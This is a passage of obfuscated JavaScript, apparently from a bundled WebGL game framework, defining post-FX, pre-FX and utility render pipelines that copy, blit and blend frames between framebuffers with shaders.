[{ 'name': 'inPosition', 'size': 0x2 }, { 'name': 'inTexCoord', 'size': 0x2 }]), _0xa5c84c['batchSize'] = 0x1, _0xa5c84c['vertices'] = [-0x1, -0x1, 0x0, 0x0, -0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, -0x1, -0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, -0x1, 0x1, 0x0], _0xfd6811['call'](this, _0xa5c84c), this['isPostFX'] = !0x0, this['gameObject'], this['controller'], this['colorMatrix'] = new _0x48b1f7(), this['fullFrame1'], this['fullFrame2'], this['halfFrame1'], this['halfFrame2'], this['renderer']['isBooted'] && (this['manager'] = this['renderer']['pipelines']); }, 'bootFX': function () { _0xfd6811['prototype']['boot']['call'](this); var _0x1583c0 = this['manager']['UTILITY_PIPELINE']; this['fullFrame1'] = _0x1583c0['fullFrame1'], this['fullFrame2'] = _0x1583c0['fullFrame2'], this['halfFrame1'] = _0x1583c0['halfFrame1'], this['halfFrame2'] = _0x1583c0['halfFrame2']; var _0x59b9c7 = this['renderer']; this['set1i']('uMainSampler', 0x0), this['set2f']('uResolution', _0x59b9c7['width'], _0x59b9c7['height']); for (var _0x2fb024 = this['renderTargets'], _0x5074d5 = 0x0; _0x5074d5 < _0x2fb024['length']; _0x5074d5++)_0x2fb024[_0x5074d5]['autoResize'] = !0x0; }, 'postBatch': function (_0x1c3a0c) { return this['hasBooted'] || (this['bootFX'](), this['currentRenderTarget'] && this['currentRenderTarget']['bind']()), this['onDraw'](this['currentRenderTarget']), this['onPostBatch'](_0x1c3a0c), this; }, 'onDraw': function (_0x393174) { this['bindAndDraw'](_0x393174); }, 'getController': function (_0x10c52e) { return void 0x0 !== _0x10c52e ? _0x10c52e : this['controller'] ? this['controller'] : this; }, 'copySprite': function (_0x53316a, _0x1e23a9, _0x1dc475) { void 0x0 === _0x1dc475 && (_0x1dc475 = !0x1); var _0x285f60 = this['gl']; _0x285f60['activeTexture'](_0x285f60['TEXTURE0']), _0x285f60['bindTexture'](_0x285f60['TEXTURE_2D'], _0x53316a['texture']['webGLTexture']); var _0x2ae8e9 = _0x285f60['getParameter'](_0x285f60['FRAMEBUFFER_BINDING']); _0x285f60['bindFramebuffer'](_0x285f60['FRAMEBUFFER'], _0x1e23a9['framebuffer']['webGLFramebuffer']), _0x285f60['framebufferTexture2D'](_0x285f60['FRAMEBUFFER'], _0x285f60['COLOR_ATTACHMENT0'], _0x285f60['TEXTURE_2D'], _0x1e23a9['texture']['webGLTexture'], 0x0), _0x285f60['clearColor'](0x0, 0x0, 0x0, 0x0), _0x285f60['clear'](_0x285f60['COLOR_BUFFER_BIT']), _0x285f60['bufferData'](_0x285f60['ARRAY_BUFFER'], this['vertexData'], _0x285f60['STATIC_DRAW']), _0x285f60['drawArrays'](_0x285f60['TRIANGLES'], 0x0, 0x6), _0x1dc475 && (_0x285f60['bindTexture'](_0x285f60['TEXTURE_2D'], null), _0x285f60['bindFramebuffer'](_0x285f60['FRAMEBUFFER'], _0x2ae8e9)); }, 'copyFrame': function (_0x4add35, _0x1ba43c, _0x5ad744, _0x9e1762, _0x2e9bc2) { this['manager']['copyFrame'](_0x4add35, _0x1ba43c, _0x5ad744, _0x9e1762, _0x2e9bc2); }, 'copyToGame': function (_0x4b4132) { this['manager']['copyToGame'](_0x4b4132); }, 'drawFrame': function (_0x32fcf8, _0x23835d, _0x1c09ab) { this['manager']['drawFrame'](_0x32fcf8, _0x23835d, _0x1c09ab, this['colorMatrix']); }, 'blendFrames': function (_0x1c49c7, _0x364c75, _0x4e6fe9, _0x5608a2, _0x8b317f) { this['manager']['blendFrames'](_0x1c49c7, _0x364c75, _0x4e6fe9, _0x5608a2, _0x8b317f); }, 'blendFramesAdditive': function (_0x511262, _0x3f48c7, _0x19fd42, _0x343d28, _0x1078ac) { this['manager']['blendFramesAdditive'](_0x511262, _0x3f48c7, _0x19fd42, _0x343d28, _0x1078ac); }, 'clearFrame': function (_0x2f2fbe, _0x58d240) { this['manager']['clearFrame'](_0x2f2fbe, _0x58d240); }, 'blitFrame': function (_0x33fcf5, _0x5b390e, _0x4fd552, _0x1c7906, _0x101802, _0x19eb7a) { this['manager']['blitFrame'](_0x33fcf5, _0x5b390e, _0x4fd552, _0x1c7906, _0x101802, _0x19eb7a); }, 'copyFrameRect': function (_0xc4b4b1, _0x57192a, _0x410d23, _0x4fd931, _0x33a3e2, _0x478c8e, _0x40117e, _0x28c56d) { this['manager']['copyFrameRect'](_0xc4b4b1, _0x57192a, _0x410d23, _0x4fd931, _0x33a3e2, _0x478c8e, _0x40117e, _0x28c56d); }, 'bindAndDraw': function (_0x5217be, _0x5b7207, _0x2e1305, _0x3170af, _0x1ce6ea) { void 0x0 === _0x2e1305 && (_0x2e1305 = !0x0), void 0x0 === _0x3170af && (_0x3170af = !0x0); var _0xa5e067 = this['gl'], _0x11ebcd = this['renderer']; this['bind'](_0x1ce6ea), this['set1i']('uMainSampler', 0x0), _0x5b7207 ? (_0xa5e067['viewport'](0x0, 0x0, _0x5b7207['width'], _0x5b7207['height']), _0xa5e067['bindFramebuffer'](_0xa5e067['FRAMEBUFFER'], _0x5b7207['framebuffer']['webGLFramebuffer']), _0xa5e067['framebufferTexture2D'](_0xa5e067['FRAMEBUFFER'], _0xa5e067['COLOR_ATTACHMENT0'], _0xa5e067['TEXTURE_2D'], _0x5b7207['texture']['webGLTexture'], 0x0), _0x2e1305 && (_0x3170af ? _0xa5e067['clearColor'](0x0, 0x0, 0x0, 0x0) : _0xa5e067['clearColor'](0x0, 0x0, 0x0, 0x1), _0xa5e067['clear'](_0xa5e067['COLOR_BUFFER_BIT']))) : (_0x11ebcd['popFramebuffer'](!0x1, !0x1), _0x11ebcd['currentFramebuffer'] || _0xa5e067['viewport'](0x0, 0x0, _0x11ebcd['width'], _0x11ebcd['height'])), _0x11ebcd['restoreStencilMask'](), _0xa5e067['activeTexture'](_0xa5e067['TEXTURE0']), _0xa5e067['bindTexture'](_0xa5e067['TEXTURE_2D'], _0x5217be['texture']['webGLTexture']), _0xa5e067['bufferData'](_0xa5e067['ARRAY_BUFFER'], this['vertexData'], _0xa5e067['STATIC_DRAW']), _0xa5e067['drawArrays'](_0xa5e067['TRIANGLES'], 0x0, 0x6), _0x5b7207 && (_0xa5e067['bindTexture'](_0xa5e067['TEXTURE_2D'], null), _0xa5e067['bindFramebuffer'](_0xa5e067['FRAMEBUFFER'], _0x11ebcd['currentFramebuffer']['webGLFramebuffer'])); }, 'destroy': function () { return this['controller'] && this['controller']['destroy'](), this['gameObject'] = null, this['controller'] = null, this['colorMatrix'] = null, this['fullFrame1'] = null, this['fullFrame2'] = null, this['halfFrame1'] = null, this['halfFrame2'] = null, this['manager']['removePostPipeline'](this), _0xfd6811['prototype']['destroy']['call'](this), this; } }); _0x8cc1ae['exports'] = _0x4db6f5; }, 0xaa26: (_0x87078d, _0x93cffa, _0x246be5) => { var _0x5f11de = _0x246be5(0x2848), _0x4cfd7d = _0x246be5(0x107ae), _0x5cd843 = _0x246be5(0x145db), _0x30a261 = _0x246be5(0x17825), _0x5884d5 = _0x246be5(0x17534), _0x578c24 = _0x246be5(0xe0ac), _0x3f320a = _0x246be5(0x6c21), _0x4cf046 = _0x246be5(0x15721), _0x41a93c = _0x246be5(0x7e2e), _0x5eabe7 = _0x246be5(0xb1f9), _0x186109 = _0x246be5(0xed32), _0x3e1d5d = _0x246be5(0x71ac), _0xfa6621 = new _0x5cd843({ 'Extends': _0x578c24, 'initialize': function (_0x39738e) { var _0x438391 = _0x5884d5(_0x39738e, 'fragShader', _0x3f320a), _0x62e31d = _0x5884d5(_0x39738e, 'vertShader', _0x186109), _0x4bdf11 = _0x5884d5(_0x39738e, 'drawShader', _0x3f320a), _0x4399c0 = [{ 'name': 'DrawSprite', 'fragShader': _0x5eabe7, 'vertShader': _0x186109 }, { 'name': 'CopySprite', 'fragShader': _0x438391, 'vertShader': _0x62e31d }, { 'name': 'DrawGame', 'fragShader': _0x4bdf11, 'vertShader': _0x186109 }, { 'name': 'ColorMatrix', 'fragShader': _0x30a261 }], _0xdcf901 = _0x5884d5(_0x39738e, 'shaders', []); _0x39738e['shaders'] = _0x4399c0['concat'](_0xdcf901), _0x39738e['vertShader'] || (_0x39738e['vertShader'] = _0x62e31d), _0x39738e['batchSize'] = 0x1, _0x578c24['call'](this, _0x39738e), this['isPreFX'] = !0x0, this['customMainSampler'] = null, this['drawSpriteShader'], this['copyShader'], this['gameShader'], this['colorMatrixShader'], this['quadVertexData'], this['quadVertexBuffer'], this['quadVertexViewF32'], this['spriteBounds'] = new _0x4cf046(), this['targetBounds'] = new _0x4cf046(), this['fsTarget'], this['tempSprite'], this['renderer']['isBooted'] && (this['manager'] = this['renderer']['pipelines'], this['boot']()); }, 'boot': function () { _0x3e1d5d['prototype']['boot']['call'](this); var _0x2c556b = this['shaders'], _0x1be413 = this['renderer']; this['drawSpriteShader'] = _0x2c556b[0x0], this['copyShader'] = _0x2c556b[0x1], this['gameShader'] = _0x2c556b[0x2], this['colorMatrixShader'] = _0x2c556b[0x3], this['fsTarget'] = new _0x41a93c(_0x1be413, _0x1be413['width'], _0x1be413['height'], 0x1, 0x0, !0x0, !0x0), this['renderTargets'] = this['manager']['renderTargets']['concat'](this['fsTarget']); var _0x62eabd = new ArrayBuffer(0xa8); this['quadVertexData'] = _0x62eabd, this['quadVertexViewF32'] = new Float32Array(_0x62eabd), this['quadVertexBuffer'] = _0x1be413['createVertexBuffer'](_0x62eabd, this['gl']['STATIC_DRAW']), this['onResize'](_0x1be413['width'], _0x1be413['height']), this['currentShader'] = this['copyShader'], this['set2f']('uResolution', _0x1be413['width'], _0x1be413['height']); }, 'onResize': function (_0x20ae38, _0xd2c4ce) { var _0x159bb2 = this['quadVertexViewF32']; _0x159bb2[0x1] = _0xd2c4ce, _0x159bb2[0x16] = _0xd2c4ce, _0x159bb2[0xe] = _0x20ae38, _0x159bb2[0x1c] = _0x20ae38, _0x159bb2[0x23] = _0x20ae38, _0x159bb2[0x24] = _0xd2c4ce; }, 'batchQuad': function (_0x140323, _0x53aabd, _0x1de32f, _0x23da8e, _0x50516c, _0x4f7ac5, _0x4e8e1e, _0x14ec34, _0x3856a5, _0x441971, _0x9dd065, _0x3896ba, _0x1fc8d1, _0xdc9fd2, _0x3bdf12, _0x80927a, _0x1ba278, _0x5f3765, _0x469320) { var _0x3a9d5c = Math['min'](_0x53aabd, _0x23da8e, _0x4f7ac5, _0x14ec34), _0x474edd = Math['min'](_0x1de32f, _0x50516c, _0x4e8e1e, _0x3856a5), _0x2a6f73 = Math['max'](_0x53aabd, _0x23da8e, _0x4f7ac5, _0x14ec34) - _0x3a9d5c, _0x16b3b = Math['max'](_0x1de32f, _0x50516c, _0x4e8e1e, _0x3856a5) - _0x474edd, _0x4b58cd = this['spriteBounds']['setTo'](_0x3a9d5c, _0x474edd, _0x2a6f73, _0x16b3b), _0x193db0 = _0x140323 ? _0x140323['preFX']['padding'] : 0x0, _0x1ece34 = _0x2a6f73 + 0x2 * _0x193db0, _0x1827c2 = _0x16b3b + 0x2 * _0x193db0, _0xe50495 = Math['abs'](Math['max'](_0x1ece34, _0x1827c2)), _0x58e200 = this['manager']['getRenderTarget'](_0xe50495), _0x4a0b59 = this['targetBounds']['setTo'](0x0, 0x0, _0x58e200['width'], _0x58e200['height']); _0x4cfd7d(_0x4a0b59, Math['round'](_0x4b58cd['centerX']), Math['round'](_0x4b58cd['centerY'])), this['tempSprite'] = _0x140323; var _0x5eb55f = this['gl'], _0x624519 = this['renderer']; _0x624519['clearStencilMask'](), this['setShader'](this['drawSpriteShader']), this['set1i']('uMainSampler', 0x0), this['set2f']('uResolution', _0x624519['width'], _0x624519['height']), this['flipProjectionMatrix'](!0x0), _0x140323 && (this['onDrawSprite'](_0x140323, _0x58e200), _0x140323['preFX']['onFX'](this)); var _0xd5543b = this['fsTarget']; return this['flush'](), _0x5eb55f['viewport'](0x0, 0x0, _0x624519['width'], _0x624519['height']), _0x5eb55f['bindFramebuffer'](_0x5eb55f['FRAMEBUFFER'], _0xd5543b['framebuffer']['webGLFramebuffer']), _0x5eb55f['framebufferTexture2D'](_0x5eb55f['FRAMEBUFFER'], _0x5eb55f['COLOR_ATTACHMENT0'], _0x5eb55f['TEXTURE_2D'], _0xd5543b['texture']['webGLTexture'], 0x0), _0x5eb55f['clearColor'](0x0, 0x0, 0x0, 0x0), _0x5eb55f['clear'](_0x5eb55f['COLOR_BUFFER_BIT']), this['setTexture2D'](_0x469320), this['batchVert'](_0x53aabd, _0x1de32f, _0x441971, _0x9dd065, 0x0, _0x5f3765, _0xdc9fd2), this['batchVert'](_0x23da8e, _0x50516c, _0x441971, _0x1fc8d1, 0x0, _0x5f3765, _0x80927a), this['batchVert'](_0x4f7ac5, _0x4e8e1e, _0x3896ba, _0x1fc8d1, 0x0, _0x5f3765, _0x1ba278), this['batchVert'](_0x53aabd, _0x1de32f, _0x441971, _0x9dd065, 0x0, _0x5f3765, _0xdc9fd2), this['batchVert'](_0x4f7ac5, _0x4e8e1e, _0x3896ba, _0x1fc8d1, 0x0, _0x5f3765, _0x1ba278), this['batchVert'](_0x14ec34, _0x3856a5, _0x3896ba, _0x9dd065, 0x0, _0x5f3765, _0x3bdf12), this['flush'](), this['flipProjectionMatrix'](!0x1), _0x5eb55f['activeTexture'](_0x5eb55f['TEXTURE0']), _0x5eb55f['bindTexture'](_0x5eb55f['TEXTURE_2D'], _0x58e200['texture']['webGLTexture']), _0x5eb55f['copyTexSubImage2D'](_0x5eb55f['TEXTURE_2D'], 0x0, 0x0, 0x0, _0x4a0b59['x'], _0x4a0b59['y'], _0x4a0b59['width'], _0x4a0b59['height']), _0x5eb55f['bindFramebuffer'](_0x5eb55f['FRAMEBUFFER'], null), _0x5eb55f['bindTexture'](_0x5eb55f['TEXTURE_2D'], null), this['onBatch'](_0x140323), this['currentShader'] = this['copyShader'], this['onDraw'](_0x58e200, this['manager']['getSwapRenderTarget'](), this['manager']['getAltSwapRenderTarget']()), !0x0; }, 'onDrawSprite': function () { }, 'onCopySprite': function () { }, 'copySprite': function (_0x541473, _0x48a130, _0x3eda18, _0x1023a5, _0x1b5c60, _0x57b93c, _0x181431) { void 0x0 === _0x3eda18 && (_0x3eda18 = !0x0), void 0x0 === _0x1023a5 && (_0x1023a5 = !0x0), void 0x0 === _0x1b5c60 && (_0x1b5c60 = !0x1), void 0x0 === _0x181431 && (_0x181431 = this['copyShader']); var _0x975b98 = this['gl'], _0x2afdcd = this['tempSprite']; _0x57b93c && (_0x181431 = this['colorMatrixShader']), this['currentShader'] = _0x181431; var _0x4a9b21 = this['setVertexBuffer'](this['quadVertexBuffer']); _0x181431['bind'](_0x4a9b21, !0x1); var _0x3933b1 = this['renderer']; if (this['set1i']('uMainSampler', 0x0), this['set2f']('uResolution', _0x3933b1['width'], _0x3933b1['height']), _0x2afdcd['preFX']['onFXCopy'](this), this['onCopySprite'](_0x541473, _0x48a130, _0x2afdcd), _0x57b93c && (this['set1fv']('uColorMatrix', _0x57b93c['getData']()), this['set1f']('uAlpha', _0x57b93c['alpha'])), _0x975b98['activeTexture'](_0x975b98['TEXTURE0']), _0x975b98['bindTexture'](_0x975b98['TEXTURE_2D'], _0x541473['texture']['webGLTexture']), _0x541473['height'] > _0x48a130['height']) _0x975b98['viewport'](0x0, 0x0, _0x541473['width'], _0x541473['height']), this['setTargetUVs'](_0x541473, _0x48a130); else { var _0x3ee841 = _0x48a130['height'] - _0x541473['height']; _0x975b98['viewport'](0x0, _0x3ee841, _0x541473['width'], _0x541473['height']), this['resetUVs'](); } if (_0x975b98['bindFramebuffer'](_0x975b98['FRAMEBUFFER'], _0x48a130['framebuffer']['webGLFramebuffer']), _0x975b98['framebufferTexture2D'](_0x975b98['FRAMEBUFFER'], _0x975b98['COLOR_ATTACHMENT0'], _0x975b98['TEXTURE_2D'], _0x48a130['texture']['webGLTexture'], 0x0), _0x3eda18 && (_0x975b98['clearColor'](0x0, 0x0, 0x0, Number(!_0x1023a5)), _0x975b98['clear'](_0x975b98['COLOR_BUFFER_BIT'])), _0x1b5c60) { var _0x4ba4bd = this['renderer']['currentBlendMode']; this['renderer']['setBlendMode'](_0x5f11de['ERASE']); } _0x975b98['bufferData'](_0x975b98['ARRAY_BUFFER'], this['quadVertexData'], _0x975b98['STATIC_DRAW']), _0x975b98['drawArrays'](_0x975b98['TRIANGLES'], 0x0, 0x6), _0x1b5c60 && this['renderer']['setBlendMode'](_0x4ba4bd), _0x975b98['bindFramebuffer'](_0x975b98['FRAMEBUFFER'], null); }, 'copy': function (_0x3595fa, _0x2b0ed0) { var _0xccce37 = this['gl']; this['set1i']('uMainSampler', 0x0), _0xccce37['activeTexture'](_0xccce37['TEXTURE0']), _0xccce37['bindTexture'](_0xccce37['TEXTURE_2D'], _0x3595fa['texture']['webGLTexture']), _0xccce37['viewport'](0x0, 0x0, _0x3595fa['width'], _0x3595fa['height']), this['setUVs'](0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0), _0xccce37['bindFramebuffer'](_0xccce37['FRAMEBUFFER'], _0x2b0ed0['framebuffer']['webGLFramebuffer']), _0xccce37['framebufferTexture2D'](_0xccce37['FRAMEBUFFER'], _0xccce37['COLOR_ATTACHMENT0'], _0xccce37['TEXTURE_2D'], _0x2b0ed0['texture']['webGLTexture'], 0x0), _0xccce37['clearColor'](0x0, 0x0, 0x0, 0x0), _0xccce37['clear'](_0xccce37['COLOR_BUFFER_BIT']), _0xccce37['bufferData'](_0xccce37['ARRAY_BUFFER'], this['quadVertexData'], _0xccce37['STATIC_DRAW']), _0xccce37['drawArrays'](_0xccce37['TRIANGLES'], 0x0, 0x6), _0xccce37['bindFramebuffer'](_0xccce37['FRAMEBUFFER'], null); }, 'blendFrames': function (_0x1b8558, _0x10658d, _0x8a1912, _0xc0cb22, _0x34717e) { this['manager']['blendFrames'](_0x1b8558, _0x10658d, _0x8a1912, _0xc0cb22, _0x34717e); }, 'blendFramesAdditive': function (_0x58d12d, _0x1a4d9d, _0x4c0cfa, _0x333e84, _0x2f52b8) { this['manager']['blendFramesAdditive'](_0x58d12d, _0x1a4d9d, _0x4c0cfa, _0x333e84, _0x2f52b8); }, 'drawToGame': function (_0x5ea206) { this['currentShader'] = null, this['setShader'](this['copyShader']), this['bindAndDraw'](_0x5ea206); }, 'copyToGame': function (_0x3a8936) { this['currentShader'] = null, this['setShader'](this['gameShader']), this['bindAndDraw'](_0x3a8936); }, 'bindAndDraw': function (_0x35fa88) { var _0x1b1b57 = this['gl'], _0x5c3e10 = this['renderer']; this['set1i']('uMainSampler', 0x0), this['customMainSampler'] ? this['setTexture2D'](this['customMainSampler']) : this['setTexture2D'](_0x35fa88['texture']); var _0x225025 = this['_tempMatrix1']['loadIdentity'](), _0x383a07 = this['targetBounds']['x'], _0x5a6802 = this['targetBounds']['y'], _0x3f5184 = _0x383a07 + _0x35fa88['width'], _0x3692db = _0x5a6802 + _0x35fa88['height'], _0x10d8f2 = _0x225025['getX'](_0x383a07, _0x5a6802), _0x481f4d = _0x225025['getX'](_0x383a07, _0x3692db), _0x27f20e = _0x225025['getX'](_0x3f5184, _0x3692db), _0x29a37f = _0x225025['getX'](_0x3f5184, _0x5a6802), _0x4a6d11 = _0x225025['getY'](_0x383a07, _0x5a6802), _0x495805 = _0x225025['getY'](_0x383a07, _0x3692db), _0x416315 = _0x225025['getY'](_0x3f5184, _0x3692db), _0x2c06e8 = _0x225025['getY'](_0x3f5184, _0x5a6802), _0x8a311e = 0xffffff; this['batchVert'](_0x10d8f2, _0x4a6d11, 0x0, 0x0, 0x0, 0x0, _0x8a311e), this['batchVert'](_0x481f4d, _0x495805, 0x0, 0x1, 0x0, 0x0, _0x8a311e), this['batchVert'](_0x27f20e, _0x416315, 0x1, 0x1, 0x0, 0x0, _0x8a311e), this['batchVert'](_0x10d8f2, _0x4a6d11, 0x0, 0x0, 0x0, 0x0, _0x8a311e), this['batchVert'](_0x27f20e, _0x416315, 0x1, 0x1, 0x0, 0x0, _0x8a311e), this['batchVert'](_0x29a37f, _0x2c06e8, 0x1, 0x0, 0x0, 0x0, _0x8a311e), _0x5c3e10['restoreFramebuffer'](!0x1, !0x0), _0x5c3e10['currentFramebuffer'] || _0x1b1b57['viewport'](0x0, 0x0, _0x5c3e10['width'], _0x5c3e10['height']), _0x5c3e10['restoreStencilMask'](), this['flush'](), this['tempSprite'] = null; }, 'onDraw': function (_0x5b9df9) { this['drawToGame'](_0x5b9df9); }, 'setUVs': function (_0x38f807, _0x1e737b, _0x4fc463, _0x176a89, _0x2973b9, _0x1ec1c3, _0x1ed240, _0x49dd4d) { var _0x346d84 = this['quadVertexViewF32']; _0x346d84[0x2] = _0x38f807, _0x346d84[0x3] = _0x1e737b, _0x346d84[0x9] = _0x4fc463, _0x346d84[0xa] = _0x176a89, _0x346d84[0x10] = _0x2973b9, _0x346d84[0x11] = _0x1ec1c3, _0x346d84[0x17] = _0x38f807, _0x346d84[0x18] = _0x1e737b, _0x346d84[0x1e] = _0x2973b9, _0x346d84[0x1f] = _0x1ec1c3, _0x346d84[0x25] = _0x1ed240, _0x346d84[0x26] = _0x49dd4d; }, 'setTargetUVs': function (_0xb26dff, _0xe541f) { var _0xa9a799 = _0xe541f['height'] / _0xb26dff['height']; _0xa9a799 = _0xa9a799 > 0.5 ? 0.5 - (_0xa9a799 - 0.5) : 0.5 - _0xa9a799 + 0.5, this['setUVs'](0x0, _0xa9a799, 0x0, 0x1 + _0xa9a799, 0x1, 0x1 + _0xa9a799, 0x1, _0xa9a799); }, 'resetUVs': function () { this['setUVs'](0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0); }, 'destroy': function () { return this['renderer']['deleteBuffer'](this['quadVertexBuffer']), this['drawSpriteShader'] = null, this['copyShader'] = null, this['gameShader'] = null, this['colorMatrixShader'] = null, this['quadVertexData'] = null, this['quadVertexBuffer'] = null, this['quadVertexViewF32'] = null, this['fsTarget'] = null, this['tempSprite'] = null, _0x578c24['prototype']['destroy']['call'](this), this; } }); _0x87078d['exports'] = _0xfa6621; }, 0x13c91: (_0x305105, _0x481d1a, _0x507065) => { var _0x1fd95d = _0x507065(0x145db), _0x5a4262 = _0x507065(0x17534), _0x2bab37 = _0x507065(0xe0ac), _0x7231cd = new _0x1fd95d({ 'Extends': _0x2bab37, 'initialize': function (_0x107dab) { _0x107dab['topology'] = 0x5, _0x107dab['batchSize'] = _0x5a4262(_0x107dab, 'batchSize', 0x100), _0x2bab37['call'](this, _0x107dab); } }); _0x305105['exports'] = _0x7231cd; }, 0x3061: (_0x52d3c6, _0x1717aa, _0x1e871e) => { var _0x5b15d6 = _0x1e871e(0x145db), _0x4ef2b8 = _0x1e871e(0x17534), _0x480366 = _0x1e871e(0xe0ac), _0x394956 = _0x1e871e(0xb1f9), _0x58e944 = _0x1e871e(0xed32), _0x54237d = _0x1e871e(0x71ac), _0x454111 = new _0x5b15d6({ 'Extends': _0x480366, 'initialize': function (_0x40c8d3) { _0x40c8d3['fragShader'] = _0x4ef2b8(_0x40c8d3, 'fragShader', _0x394956), _0x40c8d3['vertShader'] = _0x4ef2b8(_0x40c8d3, 'vertShader', _0x58e944), _0x40c8d3['forceZero'] = !0x0, _0x480366['call'](this, _0x40c8d3); }, 'boot': function () { _0x54237d['prototype']['boot']['call'](this); var _0x33e555 = this['renderer']; this['set1i']('uMainSampler', 0x0), this['set2f']('uResolution', _0x33e555['width'], _0x33e555['height']); } }); _0x52d3c6['exports'] = _0x454111; }, 0x1da5: (_0x190242, _0x434e4b, _0x2caaae) => { var _0x26448f = _0x2caaae(0x8a4f), _0x4da0ae = _0x2caaae(0x2848), _0x322fd2 = _0x2caaae(0x145db), _0x1a931c = _0x2caaae(0x15d4e), _0x3e6698 = _0x2caaae(0x17825), _0x45207f = _0x2caaae(0x8f4a), _0x26b63b = _0x2caaae(0x17534), _0x11bb23 = _0x2caaae(0xbc77), _0x164e3e = _0x2caaae(0xc1db), _0x23f244 = _0x2caaae(0x71ac), _0x284e43 = new _0x322fd2({ 'Extends': _0x23f244, 'initialize': function (_0x556b1b) { _0x556b1b['renderTarget'] = _0x26b63b(_0x556b1b, 'renderTarget', [{ 'scale': 0x1, 'autoResize': !0x0 }, { 'scale': 0x1, 'autoResize': !0x0 }, { 'scale': 0.5, 'autoResize': !0x0 }, { 'scale': 0.5, 'autoResize': !0x0 }]), _0x556b1b['vertShader'] = _0x26b63b(_0x556b1b, 'vertShader', _0x164e3e), _0x556b1b['shaders'] = _0x26b63b(_0x556b1b, 'shaders', [{ 'name': 'Copy', 'fragShader': _0x45207f }, { 'name': 'AddBlend', 'fragShader': _0x26448f }, { 'name': 'LinearBlend', 'fragShader': _0x11bb23 }, { 'name': 'ColorMatrix', 'fragShader': _0x3e6698 }]), _0x556b1b['attributes'] = _0x26b63b(_0x556b1b, 'attributes', [{ 'name': 'inPosition', 'size': 0x2 }, { 'name': 'inTexCoord', 'size': 0x2 }]), _0x556b1b['vertices'] = [-0x1, -0x1, 0x0, 0x0, -0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, -0x1, -0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, -0x1, 0x1, 0x0], _0x556b1b['batchSize'] = 0x1, _0x23f244['call'](this, _0x556b1b), this['colorMatrix'] = new _0x1a931c(), this['copyShader'], this['addShader'], this['linearShader'], this['colorMatrixShader'], this['fullFrame1'], this['fullFrame2'], this['halfFrame1'], this['halfFrame2']; }, 'boot': function () { _0x23f244['prototype']['boot']['call'](this); var _0x20f864 = this['shaders'], _0x385cb9 = this['renderTargets']; this['copyShader'] = _0x20f864[0x0], this['addShader'] = _0x20f864[0x1], this['linearShader'] = _0x20f864[0x2], this['colorMatrixShader'] = _0x20f864[0x3], this['fullFrame1'] = _0x385cb9[0x0], this['fullFrame2'] = _0x385cb9[0x1], this['halfFrame1'] = _0x385cb9[0x2], this['halfFrame2'] = _0x385cb9[0x3]; }, 'copyFrame': function (_0x4e634f, _0x292536, _0x55e3eb, _0xf2ae41, _0xb20153) { void 0x0 === _0x55e3eb && (_0x55e3eb = 0x1), void 0x0 === _0xf2ae41 && (_0xf2ae41 = !0x0), void 0x0 === _0xb20153 && (_0xb20153 = !0x0); var _0x4da49f = this['gl']; this['setShader'](this['copyShader']), this['set1i']('uMainSampler', 0x0), this['set1f']('uBrightness', _0x55e3eb), _0x4da49f['activeTexture'](_0x4da49f['TEXTURE0']), _0x4da49f['bindTexture'](_0x4da49f['TEXTURE_2D'], _0x4e634f['texture']['webGLTexture']), _0x292536 ? (_0x4da49f['viewport'](0x0, 0x0, _0x292536['width'], _0x292536['height']), _0x4da49f['bindFramebuffer'](_0x4da49f['FRAMEBUFFER'], _0x292536['framebuffer']['webGLFramebuffer']), _0x4da49f['framebufferTexture2D'](_0x4da49f['FRAMEBUFFER'], _0x4da49f['COLOR_ATTACHMENT0'], _0x4da49f['TEXTURE_2D'], _0x292536['texture']['webGLTexture'], 0x0)) : _0x4da49f['viewport'](0x0, 0x0, _0x4e634f['width'], _0x4e634f['height']), _0xf2ae41 && (_0xb20153 ? _0x4da49f['clearColor'](0x0, 0x0, 0x0, 0x0) : _0x4da49f['clearColor'](0x0, 0x0, 0x0, 0x1), _0x4da49f['clear'](_0x4da49f['COLOR_BUFFER_BIT'])), _0x4da49f['bufferData'](_0x4da49f['ARRAY_BUFFER'], this['vertexData'], _0x4da49f['STATIC_DRAW']), _0x4da49f['drawArrays'](_0x4da49f['TRIANGLES'], 0x0, 0x6), _0x4da49f['bindFramebuffer'](_0x4da49f['FRAMEBUFFER'], null), _0x4da49f['bindTexture'](_0x4da49f['TEXTURE_2D'], null); }, 'blitFrame': function (_0x1abbd5, _0x109f0c, _0x30e968, _0x55c329, _0x4f593d, _0x5e9e06, _0x26928f) { void 0x0 === _0x30e968 && (_0x30e968 = 0x1), void 0x0 === _0x55c329 && (_0x55c329 = !0x0), void 0x0 === _0x4f593d && (_0x4f593d = !0x0), void 0x0 === _0x5e9e06 && (_0x5e9e06 = !0x1), void 0x0 === _0x26928f && (_0x26928f = !0x1); var _0x42727f = this['gl']; if (this['setShader'](this['copyShader']), this['set1i']('uMainSampler', 0x0), this['set1f']('uBrightness', _0x30e968), _0x42727f['activeTexture'](_0x42727f['TEXTURE0']), _0x42727f['bindTexture'](_0x42727f['TEXTURE_2D'], _0x1abbd5['texture']['webGLTexture']), _0x1abbd5['height'] > _0x109f0c['height']) _0x42727f['viewport'](0x0, 0x0, _0x1abbd5['width'], _0x1abbd5['height']), this['setTargetUVs'](_0x1abbd5, _0x109f0c); else { var _0x49e2c2 = _0x109f0c['height'] - _0x1abbd5['height']; _0x42727f['viewport'](0x0, _0x49e2c2, _0x1abbd5['width'], _0x1abbd5['height']); } if (_0x42727f['bindFramebuffer'](_0x42727f['FRAMEBUFFER'], _0x109f0c['framebuffer']['webGLFramebuffer']), _0x42727f['framebufferTexture2D'](_0x42727f['FRAMEBUFFER'], _0x42727f['COLOR_ATTACHMENT0'], _0x42727f['TEXTURE_2D'], _0x109f0c['texture']['webGLTexture'], 0x0), _0x55c329 && (_0x4f593d ? _0x42727f['clearColor'](0x0, 0x0, 0x0, 0x0) : _0x42727f['clearColor'](0x0, 0x0, 0x0, 0x1), _0x42727f['clear'](_0x42727f['COLOR_BUFFER_BIT'])), _0x5e9e06) { var _0x1a237f = this['renderer']['currentBlendMode']; this['renderer']['setBlendMode'](_0x4da0ae['ERASE']); } _0x26928f && this['flipY'](), _0x42727f['bufferData'](_0x42727f['ARRAY_BUFFER'], this['vertexData'], 